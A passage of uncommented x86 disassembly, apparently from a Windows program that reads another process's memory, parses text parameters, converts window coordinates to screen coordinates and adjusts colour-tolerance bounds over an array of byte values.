movzx eax, byte [eax + 0x419c]
mov edx, dword [0x5902f0]
mov eax, dword [edx + eax*4]
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x84]
push eax
push 2
lea eax, [ebp - 0xd8]
push eax
mov eax, dword [ebp - 0x10]
push eax
mov eax, dword [ebp - 0xc8]
push eax
call sub.KERNEL32.DLL_ReadProcessMemory
cmp dword [ebp - 0x84], 2
setne byte [ebp - 0xc1]
cmp byte [ebp - 0xc1], 0
je 0x541f6d
lea edx, [ebp - 0x1c]
or eax, 0xffffffff
call fcn.0040b57c
jmp 0x541f83
mov byte [ebp - 0x725], 1
lea edx, [ebp - 0x1c]
movzx eax, word [ebp - 0xd8]
call fcn.0040b57c
lea edx, [ebp - 0x48]
mov ecx, dword [ebp - 0x54]
mov eax, dword [ebp - 0x1c]
call fcn.00405580
mov eax, dword [ebp - 0x1c]
call fcn.00405298
add dword [ebp - 0x54], eax
jmp 0x5523d0
mov eax, dword [ebp - 0x54]
mov dword [ebp - 0x1ec], eax
mov eax, dword [ebp - 0x54]
mov dword [ebp - 0x14], eax
lea edx, [ebp - 0x14]
mov eax, dword [ebp - 0x48]
call fcn.0053e8a8
test al, al
je 0x54396e
xor eax, eax
mov dword [ebp - 0xc], eax
xor eax, eax
mov dword [ebp - 8], eax
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 0x60]
push eax
lea eax, [ebp - 0xa8c]
push eax
mov ecx, dword [ebp - 0x14]
mov edx, dword [ebp - 0x48]
mov eax, dword [ebp - 0x18]
call fcn.0053ddf0
mov ecx, dword [ebp - 0xa8c]
lea eax, [ebp - 0x1c]
mov edx, 0x553864
call fcn.004052e4
mov ecx, dword [ebp - 0x60]
sub ecx, dword [ebp - 0x54]
inc ecx
lea eax, [ebp - 0x48]
mov edx, dword [ebp - 0x54]
call fcn.00405538
xor eax, eax
push ebp
push 0x543931
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 0x18]
cmp byte [eax + 0x105d4c], 0
je 0x5422af
mov eax, dword [ebp - 0x18]
cmp dword [eax + 0x105c5c], 1
jne 0x54204a
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0x105c60]
mov dword [ebp - 0xe0], eax
jmp 0x54208e
lea eax, [ebp - 0xa90]
push eax
mov eax, dword [ebp - 0x18]
mov ecx, dword [eax + 0x105c64]
lea eax, [ebp - 0xa94]
mov edx, 0x553864
call fcn.004052e4
mov edx, dword [ebp - 0xa94]
mov ecx, 1
mov eax, dword [ebp - 0x18]
call fcn.0053e8d4
mov eax, dword [ebp - 0xa90]
call fcn.0040b6e8
mov dword [ebp - 0xe0], eax
mov eax, dword [ebp - 0x18]
cmp dword [eax + 0x105c68], 1
jne 0x5420ab
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0x105c6c]
mov dword [ebp - 0xdc], eax
jmp 0x5420ef
lea eax, [ebp - 0xa98]
push eax
mov eax, dword [ebp - 0x18]
mov ecx, dword [eax + 0x105c70]
lea eax, [ebp - 0xa9c]
mov edx, 0x553864
call fcn.004052e4
mov edx, dword [ebp - 0xa9c]
mov ecx, 1
mov eax, dword [ebp - 0x18]
call fcn.0053e8d4
mov eax, dword [ebp - 0xa98]
call fcn.0040b6e8
mov dword [ebp - 0xdc], eax
mov eax, dword [ebp - 0x18]
cmp dword [eax + 0x105c74], 1
jne 0x54210c
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0x105c78]
mov dword [ebp - 0xe8], eax
jmp 0x542150
lea eax, [ebp - 0xaa0]
push eax
mov eax, dword [ebp - 0x18]
mov ecx, dword [eax + 0x105c7c]
lea eax, [ebp - 0xaa4]
mov edx, 0x553864
call fcn.004052e4
mov edx, dword [ebp - 0xaa4]
mov ecx, 1
mov eax, dword [ebp - 0x18]
call fcn.0053e8d4
mov eax, dword [ebp - 0xaa0]
call fcn.0040b6e8
mov dword [ebp - 0xe8], eax
mov eax, dword [ebp - 0x18]
cmp dword [eax + 0x105c80], 1
jne 0x54216d
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0x105c84]
mov dword [ebp - 0xe4], eax
jmp 0x5421b1
lea eax, [ebp - 0xaa8]
push eax
mov eax, dword [ebp - 0x18]
mov ecx, dword [eax + 0x105c88]
lea eax, [ebp - 0xaac]
mov edx, 0x553864
call fcn.004052e4
mov edx, dword [ebp - 0xaac]
mov ecx, 1
mov eax, dword [ebp - 0x18]
call fcn.0053e8d4
mov eax, dword [ebp - 0xaa8]
call fcn.0040b6e8
mov dword [ebp - 0xe4], eax
mov eax, dword [ebp - 0x18]
cmp dword [eax + 0x105c54], 7
jne 0x54228f
mov eax, dword [ebp - 0x18]
cmp dword [eax + 0x105c8c], 1
jne 0x5421de
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0x105c90]
mov dword [ebp - 0x108], eax
jmp 0x542222
lea eax, [ebp - 0xab0]
push eax
mov eax, dword [ebp - 0x18]
mov ecx, dword [eax + 0x105c94]
lea eax, [ebp - 0xab4]
mov edx, 0x553864
call fcn.004052e4
mov edx, dword [ebp - 0xab4]
mov ecx, 1
mov eax, dword [ebp - 0x18]
call fcn.0053e8d4
mov eax, dword [ebp - 0xab0]
call fcn.0040b6e8
mov dword [ebp - 0x108], eax
mov eax, dword [ebp - 0x18]
cmp dword [eax + 0x105c98], 1
jne 0x54223f
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0x105c9c]
mov dword [ebp - 0x104], eax
jmp 0x542283
lea eax, [ebp - 0xab8]
push eax
mov eax, dword [ebp - 0x18]
mov ecx, dword [eax + 0x105ca0]
lea eax, [ebp - 0xabc]
mov edx, 0x553864
call fcn.004052e4
mov edx, dword [ebp - 0xabc]
mov ecx, 1
mov eax, dword [ebp - 0x18]
call fcn.0053e8d4
mov eax, dword [ebp - 0xab8]
call fcn.0040b6e8
mov dword [ebp - 0x104], eax
mov dword [ebp - 0x10], 7
jmp 0x5423d3
mov dword [ebp - 0x108], 1
mov dword [ebp - 0x104], 1
mov dword [ebp - 0x10], 5
jmp 0x5423d3
lea eax, [ebp - 0xac0]
push eax
mov ecx, 1
mov edx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x18]
call fcn.0053e8d4
mov eax, dword [ebp - 0xac0]
call fcn.0040b6e8
mov dword [ebp - 0xe0], eax
lea eax, [ebp - 0xac4]
push eax
mov ecx, 2
mov edx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x18]
call fcn.0053e8d4
mov eax, dword [ebp - 0xac4]
call fcn.0040b6e8
mov dword [ebp - 0xdc], eax
lea eax, [ebp - 0xac8]
push eax
mov ecx, 3
mov edx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x18]
call fcn.0053e8d4
mov eax, dword [ebp - 0xac8]
call fcn.0040b6e8
mov dword [ebp - 0xe8], eax
lea eax, [ebp - 0xacc]
push eax
mov ecx, 4
mov edx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x18]
call fcn.0053e8d4
mov eax, dword [ebp - 0xacc]
call fcn.0040b6e8
mov dword [ebp - 0xe4], eax
xor ebx, ebx
lea eax, [ebp - 0xad0]
push eax
mov ecx, 5
mov edx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x18]
call fcn.0053e8d4
mov eax, dword [ebp - 0xad0]
lea edx, [ebp - 0x108]
call fcn.0040b73c
test al, al
je 0x5423a9
lea eax, [ebp - 0xad4]
push eax
mov ecx, 6
mov edx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x18]
call fcn.0053e8d4
mov eax, dword [ebp - 0xad4]
lea edx, [ebp - 0x104]
call fcn.0040b73c
test al, al
jne 0x5423bf
mov bl, 1
mov dword [ebp - 0x108], 1
mov dword [ebp - 0x104], 1
test bl, bl
je 0x5423cc
mov dword [ebp - 0x10], 5
jmp 0x5423d3
mov dword [ebp - 0x10], 7
lea eax, [ebp - 0x4c]
push eax
xor ecx, ecx
sub ecx, dword [ebp - 0x10]
mov edx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x18]
call fcn.0053e8d4
xor eax, eax
mov dword [ebp - 0x84], eax
mov edx, dword [ebp - 0x4c]
mov eax, 0x553908
call fcn.004055dc
test eax, eax
jg 0x542410
mov eax, dword [ebp - 0x18]
cmp byte [eax + 0x105d4c], 0
je 0x54260f
mov byte [ebp - 0x35], 1
mov eax, dword [ebp - 0x18]
cmp byte [eax + 0x105d4c], 0
je 0x542484
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0x105c54]
lea eax, [eax + eax*2]
mov edx, dword [ebp - 0x18]
cmp dword [edx + eax*4 + 0x105c50], 1
jne 0x54244f
lea edx, [ebp - 0x1c]
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0x105c90]
call fcn.0040b57c
jmp 0x54255e
lea eax, [ebp - 0x1c]
push eax
mov eax, dword [ebp - 0x18]
mov ecx, dword [eax + 0x105c94]
lea eax, [ebp - 0xad8]
mov edx, 0x553864
call fcn.004052e4
mov edx, dword [ebp - 0xad8]
mov ecx, 1
mov eax, dword [ebp - 0x18]
call fcn.0053e8d4
jmp 0x54255e
xor ebx, ebx
mov dword [ebp - 0x10], 1
jmp 0x5424c3
mov eax, dword [ebp - 0x4c]
mov edx, dword [ebp - 0x10]
mov al, byte [eax + edx - 1]
sub al, 0x28
je 0x5424a3
dec al
je 0x5424ad
jmp 0x5424b3
inc dword [ebp - 0x84]
mov bl, 1
jmp 0x5424b3
dec dword [ebp - 0x84]
test bl, bl
je 0x5424c0
cmp dword [ebp - 0x84], 0
je 0x5424d0
inc dword [ebp - 0x10]
mov eax, dword [ebp - 0x4c]
call fcn.00405298
cmp eax, dword [ebp - 0x10]
jae 0x54248f
lea eax, [ebp - 0xadc]
push eax
lea eax, [ebp - 0xae4]
push eax
mov ecx, dword [ebp - 0x10]
sub ecx, 2
mov edx, 2
mov eax, dword [ebp - 0x4c]
call fcn.004054f8
mov ecx, dword [ebp - 0xae4]
lea eax, [ebp - 0xae0]
mov edx, 0x553864
call fcn.004052e4
mov edx, dword [ebp - 0xae0]
or ecx, 0xffffffff
mov eax, dword [ebp - 0x18]
call fcn.0053e8d4
mov ecx, dword [ebp - 0xadc]
lea eax, [ebp - 0x1c]
mov edx, 0x553864
call fcn.004052e4
lea eax, [ebp - 0xae8]
push eax
mov eax, dword [ebp - 0x4c]
call fcn.00405298
mov ecx, eax
sub ecx, dword [ebp - 0x10]
mov edx, dword [ebp - 0x10]
inc edx
mov eax, dword [ebp - 0x4c]
call fcn.004054f8
mov ecx, dword [ebp - 0xae8]
lea eax, [ebp - 0x4c]
mov edx, 0x553864
call fcn.004052e4
mov edx, dword [ebp - 0x1c]
mov eax, 0x553914
call fcn.004055dc
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
jle 0x542601
cmp dword [ebp - 0x14], 1
jle 0x5425b0
dec dword [ebp - 0x14]
mov eax, dword [ebp - 0x1c]
mov edx, dword [ebp - 0x14]
mov al, byte [eax + edx - 1]
sub al, 9
je 0x542593
sub al, 0x17
jne 0x5425a5
lea eax, [ebp - 0x1c]
mov ecx, 1
mov edx, dword [ebp - 0x14]
call fcn.00405538
jmp 0x5425aa
inc dword [ebp - 0x14]
jmp 0x5425b0
cmp dword [ebp - 0x14], 1
jg 0x54257e
inc dword [ebp - 0x14]
jmp 0x5425d7
mov eax, dword [ebp - 0x1c]
mov edx, dword [ebp - 0x14]
mov al, byte [eax + edx - 1]
sub al, 9
je 0x5425c7
sub al, 0x17
jne 0x5425e4
lea eax, [ebp - 0x1c]
mov ecx, 1
mov edx, dword [ebp - 0x14]
call fcn.00405538
mov eax, dword [ebp - 0x1c]
call fcn.00405298
cmp eax, dword [ebp - 0x14]
jg 0x5425b5
mov ecx, dword [ebp - 0x14]
mov edx, dword [ebp - 0x1c]
mov eax, 0x553914
call fcn.0043cfd0
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
jg 0x542578
push ebp
call fcn.0053e104
pop ecx
xor eax, eax
mov dword [ebp - 0x10], eax
jmp 0x542656
mov byte [ebp - 0x35], 0
lea eax, [ebp - 0xaec]
push eax
mov ecx, dword [ebp - 0x10]
mov edx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x18]
call fcn.0053e8d4
mov eax, dword [ebp - 0xaec]
call fcn.0040b6e8
mov dword [ebp - 0x68], eax
mov eax, dword [ebp - 0x68]
mov dword [ebp - 0x88], eax
lea eax, [ebp - 0x4c]
mov ecx, dword [ebp - 0x4c]
mov edx, 0x553864
call fcn.004052e4
mov dword [ebp - 0x10], 1
mov eax, dword [ebp - 0x18]
cmp byte [eax + 0x105d4c], 0
je 0x542824
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0x105c54]
dec eax
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x1c]
mov edx, 0x553920
call fcn.00405070
mov eax, dword [ebp - 0x10]
lea eax, [eax + eax*2]
mov edx, dword [ebp - 0x18]
cmp dword [edx + eax*4 + 0x105c68], 1
jne 0x5426b0
mov eax, dword [ebp - 0x10]
lea eax, [eax + eax*2]
mov edx, dword [ebp - 0x18]
mov eax, dword [edx + eax*4 + 0x105c6c]
lea edx, [ebp - 0xb0]
call fcn.0040b57c
jmp 0x5426ea
lea eax, [ebp - 0xb0]
push eax
mov eax, dword [ebp - 0x10]
lea eax, [eax + eax*2]
mov edx, dword [ebp - 0x18]
mov ecx, dword [edx + eax*4 + 0x105c70]
lea eax, [ebp - 0xaf0]
mov edx, 0x553864
call fcn.004052e4
mov edx, dword [ebp - 0xaf0]
mov ecx, 1
mov eax, dword [ebp - 0x18]
call fcn.0053e8d4
mov eax, dword [ebp - 0x10]
lea eax, [eax + eax*2]
mov edx, dword [ebp - 0x18]
cmp dword [edx + eax*4 + 0x105c74], 1
jne 0x542717
mov eax, dword [ebp - 0x10]
lea eax, [eax + eax*2]
mov edx, dword [ebp - 0x18]
mov eax, dword [edx + eax*4 + 0x105c78]
lea edx, [ebp - 0x20]
call fcn.0040b57c
jmp 0x54274e
lea eax, [ebp - 0x20]
push eax
mov eax, dword [ebp - 0x10]
lea eax, [eax + eax*2]
mov edx, dword [ebp - 0x18]
mov ecx, dword [edx + eax*4 + 0x105c7c]
lea eax, [ebp - 0xaf4]
mov edx, 0x553864
call fcn.004052e4
mov edx, dword [ebp - 0xaf4]
mov ecx, 1
mov eax, dword [ebp - 0x18]
call fcn.0053e8d4
mov eax, dword [ebp - 0x10]
lea eax, [eax + eax*2]
mov edx, dword [ebp - 0x18]
cmp dword [edx + eax*4 + 0x105c80], 1
jne 0x54277e
mov eax, dword [ebp - 0x10]
lea eax, [eax + eax*2]
mov edx, dword [ebp - 0x18]
mov eax, dword [edx + eax*4 + 0x105c84]
lea edx, [ebp - 0xb8]
call fcn.0040b57c
jmp 0x5427b8
lea eax, [ebp - 0xb8]
push eax
mov eax, dword [ebp - 0x10]
lea eax, [eax + eax*2]
mov edx, dword [ebp - 0x18]
mov ecx, dword [edx + eax*4 + 0x105c88]
lea eax, [ebp - 0xaf8]
mov edx, 0x553864
call fcn.004052e4
mov edx, dword [ebp - 0xaf8]
mov ecx, 1
mov eax, dword [ebp - 0x18]
call fcn.0053e8d4
mov eax, dword [ebp - 0x10]
lea eax, [eax + eax*2]
mov edx, dword [ebp - 0x18]
cmp dword [edx + eax*4 + 0x105c8c], 1
jne 0x5427e8
mov eax, dword [ebp - 0x10]
lea eax, [eax + eax*2]
mov edx, dword [ebp - 0x18]
mov eax, dword [edx + eax*4 + 0x105c90]
lea edx, [ebp - 0x24]
call fcn.0040b57c
jmp 0x5428d5
lea eax, [ebp - 0x24]
push eax
mov eax, dword [ebp - 0x10]
lea eax, [eax + eax*2]
mov edx, dword [ebp - 0x18]
mov ecx, dword [edx + eax*4 + 0x105c94]
lea eax, [ebp - 0xafc]
mov edx, 0x553864
call fcn.004052e4
mov edx, dword [ebp - 0xafc]
mov ecx, 1
mov eax, dword [ebp - 0x18]
call fcn.0053e8d4
jmp 0x5428d5
lea eax, [ebp - 0xb00]
push eax
mov ecx, dword [ebp - 0x10]
add ecx, 2
mov edx, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x18]
call fcn.0053e8d4
mov eax, dword [ebp - 0xb00]
lea edx, [ebp - 0xb0]
call fcn.0040b05c
lea eax, [ebp - 0xb04]
push eax
mov ecx, dword [ebp - 0x10]
add ecx, 3
mov edx, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x18]
call fcn.0053e8d4
mov eax, dword [ebp - 0xb04]
lea edx, [ebp - 0x20]
call fcn.0040b05c
lea eax, [ebp - 0xb08]
push eax
mov ecx, dword [ebp - 0x10]
add ecx, 4
mov edx, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x18]
call fcn.0053e8d4
mov eax, dword [ebp - 0xb08]
lea edx, [ebp - 0xb8]
call fcn.0040b05c
lea eax, [ebp - 0xb0c]
push eax
mov ecx, dword [ebp - 0x10]
add ecx, 5
mov edx, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x18]
call fcn.0053e8d4
mov eax, dword [ebp - 0xb0c]
lea edx, [ebp - 0x24]
call fcn.0040b05c
lea eax, [ebp - 0x1c]
push eax
mov ecx, dword [ebp - 0x10]
inc ecx
mov edx, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x18]
call fcn.0053e8d4
mov eax, dword [ebp - 0x18]
add eax, 0x105bf8
mov edx, dword [ebp - 0x1c]
call fcn.0040502c
mov eax, dword [ebp - 0x24]
mov edx, 0x553934
call fcn.004053e4
je 0x542927
mov eax, dword [ebp - 0xb0]
mov edx, 0x553934
call fcn.004053e4
je 0x542927
mov eax, dword [ebp - 0x20]
mov edx, 0x553934
call fcn.004053e4
je 0x542927
mov eax, dword [ebp - 0xb8]
mov edx, 0x553934
call fcn.004053e4
jne 0x542930
mov byte [ebp - 0x10d], 1
jmp 0x542937
mov byte [ebp - 0x10d], 0
lea edx, [ebp - 0x3c]
mov eax, dword [ebp - 0x20]
call fcn.0040b73c
test al, al
jne 0x54294d
mov dword [ebp - 0x3c], 0xffffffff
lea edx, [ebp - 0x40]
mov eax, dword [ebp - 0xb8]
call fcn.0040b73c
test al, al
je 0x542b35
cmp dword [ebp - 0x40], 0
jl 0x542b35
cmp dword [ebp - 0x40], 0x63
jle 0x54297a
mov dword [ebp - 0x40], 0x63
fild dword [ebp - 0x40]
fld xword [0x553938]
fmulp st(1)
call fcn.004030cc
and al, 0xff
mov byte [ebp - 0xb9], al
cmp byte [ebp - 0x35], 0
je 0x542b35
mov eax, dword [ebp - 4]
call fcn.004063e0
dec eax
test eax, eax
jl 0x542b35
inc eax
mov dword [ebp - 0x2a4], eax
mov dword [ebp - 0x14], 0
mov eax, dword [ebp - 0x14]
lea eax, [eax + eax*2]
mov edx, dword [ebp - 4]
mov al, byte [edx + eax*2 + 4]
cmp al, byte [ebp - 0xb9]
jbe 0x5429e5
mov eax, dword [ebp - 0x14]
lea eax, [eax + eax*2]
mov edx, dword [ebp - 4]
mov cl, byte [ebp - 0xb9]
sub byte [edx + eax*2 + 4], cl
jmp 0x5429f3
mov eax, dword [ebp - 0x14]
lea eax, [eax + eax*2]
mov edx, dword [ebp - 4]
mov byte [edx + eax*2 + 4], 0
mov eax, dword [ebp - 0x14]
lea eax, [eax + eax*2]
mov edx, dword [ebp - 4]
mov al, byte [edx + eax*2 + 2]
cmp al, byte [ebp - 0xb9]
jbe 0x542a1d
mov eax, dword [ebp - 0x14]
lea eax, [eax + eax*2]
mov edx, dword [ebp - 4]
mov cl, byte [ebp - 0xb9]
sub byte [edx + eax*2 + 2], cl
jmp 0x542a2b
mov eax, dword [ebp - 0x14]
lea eax, [eax + eax*2]
mov edx, dword [ebp - 4]
mov byte [edx + eax*2 + 2], 0
mov eax, dword [ebp - 0x14]
lea eax, [eax + eax*2]
mov edx, dword [ebp - 4]
mov al, byte [edx + eax*2]
cmp al, byte [ebp - 0xb9]
jbe 0x542a53
mov eax, dword [ebp - 0x14]
lea eax, [eax + eax*2]
mov edx, dword [ebp - 4]
mov cl, byte [ebp - 0xb9]
sub byte [edx + eax*2], cl
jmp 0x542a60
mov eax, dword [ebp - 0x14]
lea eax, [eax + eax*2]
mov edx, dword [ebp - 4]
mov byte [edx + eax*2], 0
mov eax, dword [ebp - 0x14]
lea eax, [eax + eax*2]
mov edx, dword [ebp - 4]
movzx eax, byte [edx + eax*2 + 5]
xor edx, edx
mov dl, byte [ebp - 0xb9]
add eax, edx
cmp eax, 0xff
jae 0x542a94
mov eax, dword [ebp - 0x14]
lea eax, [eax + eax*2]
mov edx, dword [ebp - 4]
mov cl, byte [ebp - 0xb9]
add byte [edx + eax*2 + 5], cl
jmp 0x542aa2
mov eax, dword [ebp - 0x14]
lea eax, [eax + eax*2]
mov edx, dword [ebp - 4]
mov byte [edx + eax*2 + 5], 0xff
mov eax, dword [ebp - 0x14]
lea eax, [eax + eax*2]
mov edx, dword [ebp - 4]
movzx eax, byte [edx + eax*2 + 3]
xor edx, edx
mov dl, byte [ebp - 0xb9]
add eax, edx
cmp eax, 0xff
jae 0x542ad6
mov eax, dword [ebp - 0x14]
lea eax, [eax + eax*2]
mov edx, dword [ebp - 4]
mov cl, byte [ebp - 0xb9]
add byte [edx + eax*2 + 3], cl
jmp 0x542ae4
mov eax, dword [ebp - 0x14]
lea eax, [eax + eax*2]
mov edx, dword [ebp - 4]
mov byte [edx + eax*2 + 3], 0xff
mov eax, dword [ebp - 0x14]
lea eax, [eax + eax*2]
mov edx, dword [ebp - 4]
movzx eax, byte [edx + eax*2 + 1]
xor edx, edx
mov dl, byte [ebp - 0xb9]
add eax, edx
cmp eax, 0xff
jae 0x542b18
mov eax, dword [ebp - 0x14]
lea eax, [eax + eax*2]
mov edx, dword [ebp - 4]
mov cl, byte [ebp - 0xb9]
add byte [edx + eax*2 + 1], cl
jmp 0x542b26
mov eax, dword [ebp - 0x14]
lea eax, [eax + eax*2]
mov edx, dword [ebp - 4]
mov byte [edx + eax*2 + 1], 0xff
inc dword [ebp - 0x14]
dec dword [ebp - 0x2a4]
jne 0x5429bb
mov eax, dword [ebp - 0x18]
lea edx, [eax + 0x449c]
mov eax, dword [ebp - 0xb0]
call fcn.0040b73c
test al, al
jne 0x542b5a
mov eax, dword [ebp - 0x18]
mov dword [eax + 0x449c], 2
mov eax, dword [ebp - 0x18]
cmp dword [eax + 0x449c], 0
jle 0x54391a
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0x449c]
mov dword [ebp - 0x134], eax
mov eax, dword [ebp - 0xe0]
mov dword [ebp - 0xf8], eax
mov eax, dword [ebp - 0xdc]
mov dword [ebp - 0xf4], eax
mov eax, dword [ebp - 0xe8]
mov dword [ebp - 0x100], eax
mov eax, dword [ebp - 0xe4]
mov dword [ebp - 0xfc], eax
cmp byte [ebp - 0x10d], 0
jne 0x542bea
mov eax, dword [ebp - 0x18]
cmp dword [eax + 0x449c], 2
jg 0x542bea
lea eax, [ebp - 0xe0]
push eax
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0x84]
push eax
call sub.user32.dll_ClientToScreen
lea eax, [ebp - 0xe8]
push eax
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0x84]
push eax
call sub.user32.dll_ClientToScreen
mov eax, dword [ebp - 0x1c]
mov al, byte [eax]
mov byte [ebp - 0xd3], al
lea eax, [ebp - 0x1c]
mov ecx, 1
mov edx, 1
call fcn.00405538
lea eax, [ebp - 0x4c]
mov edx, dword [ebp - 0x1c]
call fcn.00405070
xor eax, eax
mov dword [ebp - 0x10], eax
xor eax, eax
mov dword [ebp - 0x84], eax
lea eax, [ebp - 0x84]
push eax
push 1
lea ecx, [ebp - 0x10]
mov edx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x18]
call fcn.005550b4
mov dword [ebp - 0x224], 0x64
mov eax, dword [ebp - 0x18]
xor edx, edx
mov dword [eax + 0x105bdc], edx
push 0x64
push 3
mov ecx, dword [ebp - 0x4c]
mov dl, byte [ebp - 0xd3]
mov eax, dword [ebp - 0x18]
call fcn.0055418c
mov dword [ebp - 0x54], eax
mov dword [ebp - 0x10], 1
inc dword [ebp - 0xe8]
inc dword [ebp - 0xe4]
mov eax, dword [ebp - 0x18]
cmp dword [eax + 0x449c], 1
je 0x54359c
mov eax, dword [ebp - 0x18]
cmp dword [eax + 0x449c], 2
jle 0x542c9b
mov byte [ebp - 0x13d], 1
jmp 0x542ca2
mov byte [ebp - 0x13d], 0
mov eax, dword [ebp - 0x18]
mov byte [eax + 0x1048b5], 0
cmp byte [ebp - 0x13d], 0
je 0x542e41
xor eax, eax
mov dword [ebp - 0x14], eax
jmp 0x542e2c
mov eax, dword [ebp - 0x14]
lea eax, [eax + eax*2]
mov edx, dword [ebp - 0x18]
mov edx, dword [edx + 0x6c]
mov eax, dword [edx + eax*8 + 0x14]
xor edx, edx
push edx
push eax
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0x449c]
cdq
cmp edx, dword [esp + 4]
jne 0x542cea
cmp eax, dword [esp]
pop edx
pop eax
jne 0x542e29
mov eax, dword [ebp - 0x14]
lea eax, [eax + eax*2]
mov edx, dword [ebp - 0x18]
mov edx, dword [edx + 0x6c]
mov eax, dword [edx + eax*8]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0x14]
lea eax, [eax + eax*2]
mov edx, dword [ebp - 0x18]
mov edx, dword [edx + 0x6c]
mov eax, dword [edx + eax*8 + 4]
mov dword [ebp - 8], eax
mov eax, dword [ebp - 0x14]
lea eax, [eax + eax*2]
mov edx, dword [ebp - 0x18]
mov edx, dword [edx + 0x6c]
mov eax, dword [edx + eax*8 + 8]
mov edx, dword [ebp - 0x18]
mov dword [edx + 0x4484], eax
mov eax, dword [ebp - 0x14]
lea eax, [eax + eax*2]
mov edx, dword [ebp - 0x18]
mov edx, dword [edx + 0x6c]
mov eax, dword [edx + eax*8 + 0xc]
mov edx, dword [ebp - 0x18]
mov dword [edx + 0x4488], eax
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0x4484]
cmp eax, dword [ebp - 0xe8]
jge 0x542d69
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0x4484]
mov dword [ebp - 0xe8], eax
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0x4488]
cmp eax, dword [ebp - 0xe4]
jge 0x542d89
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0x4488]
mov dword [ebp - 0xe4], eax
mov eax, dword [ebp - 0xe8]
dec eax
mov dword [ebp - 0x100], eax
mov eax, dword [ebp - 0xe4]
dec eax
mov dword [ebp - 0xfc], eax
mov eax, dword [ebp - 0x14]
lea eax, [eax + eax*2]
mov edx, dword [ebp - 0x18]
mov edx, dword [edx + 0x6c]
cmp dword [edx + eax*8 + 0x10], 0
setg al
mov edx, dword [ebp - 0x18]
mov byte [edx + 0x44e0], al
mov eax, dword [ebp - 0x14]
lea eax, [eax + eax*2]
mov edx, dword [ebp - 0x18]
mov edx, dword [edx + 0x6c]
mov eax, dword [edx + eax*8 + 0xc]
mov edx, dword [ebp - 0x14]
lea edx, [edx + edx*2]
mov ecx, dword [ebp - 0x18]
mov ecx, dword [ecx + 0x6c]
imul dword [ecx + edx*8 + 0x10]
cdq
xor eax, edx
sub eax, edx
mov edx, dword [ebp - 0x18]
mov dword [edx + 0x44b4], eax
mov eax, dword [ebp - 0x14]
lea eax, [eax + eax*2]
mov edx, dword [ebp - 0x18]
mov edx, dword [edx + 0x6c]
mov eax, dword [edx + eax*8 + 0x14]
mov edx, dword [ebp - 0x18]
mov dword [edx + 0x44ac], eax
mov eax, dword [ebp - 0x18]
mov byte [eax + 0x1048b5], 1
mov eax, dword [ebp - 0x18]
mov edx, dword [ebp - 0x44]
mov dword [eax + 0x44c8], edx
mov eax, dword [ebp - 0x18]
mov byte [eax + 0x448c], 0
jmp 0x542e41
inc dword [ebp - 0x14]
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0x6c]
call fcn.004063e0
dec eax
cmp eax, dword [ebp - 0x14]
jge 0x542cc3
mov eax, dword [ebp - 0x18]
cmp byte [eax + 0x1048b5], 0
jne 0x542ee9
mov eax, dword [ebp - 0x18]
mov edx, dword [ebp - 0xe8]
mov dword [eax + 0x44b8], edx
mov edx, dword [ebp - 0xe4]
mov dword [eax + 0x44bc], edx
mov eax, dword [ebp - 0x18]
mov edx, dword [ebp - 0xe0]
mov dword [eax + 0x44c0], edx
mov edx, dword [ebp - 0xdc]
mov dword [eax + 0x44c4], edx
xor eax, eax
push ebp
push 0x542eb1
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 0x18]
mov byte [eax + 0x448c], 0
mov eax, dword [ebp - 0x18]
call fcn.0052fda8
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x542ed0
mov eax, dword [ebp - 0x18]
cmp byte [eax + 0x448c], 0
je 0x542ee9
lea eax, [ebp - 0x1c]
mov edx, 0x55394c
call fcn.00405070
mov dword [ebp - 0x10], 1
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0x4484]
and eax, 0x80000003
jns 0x542f05
dec eax
or eax, 0xfffffffc
inc eax
mov dword [ebp - 0x1f8], eax
mov eax, dword [ebp - 0x18]
cmp byte [eax + 0x448c], 0
je 0x542f60
mov eax, dword [ebp - 0x18]
cmp byte [eax + 0x4405], 0
je 0x542f60
mov eax, dword [ebp - 0x18]
cmp byte [eax + 0x4405], 0
je 0x54356d
mov eax, dword [ebp - 0x18]
lea edi, [eax + 0x9c]
mov esi, 0x553950
mov ecx, 6
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
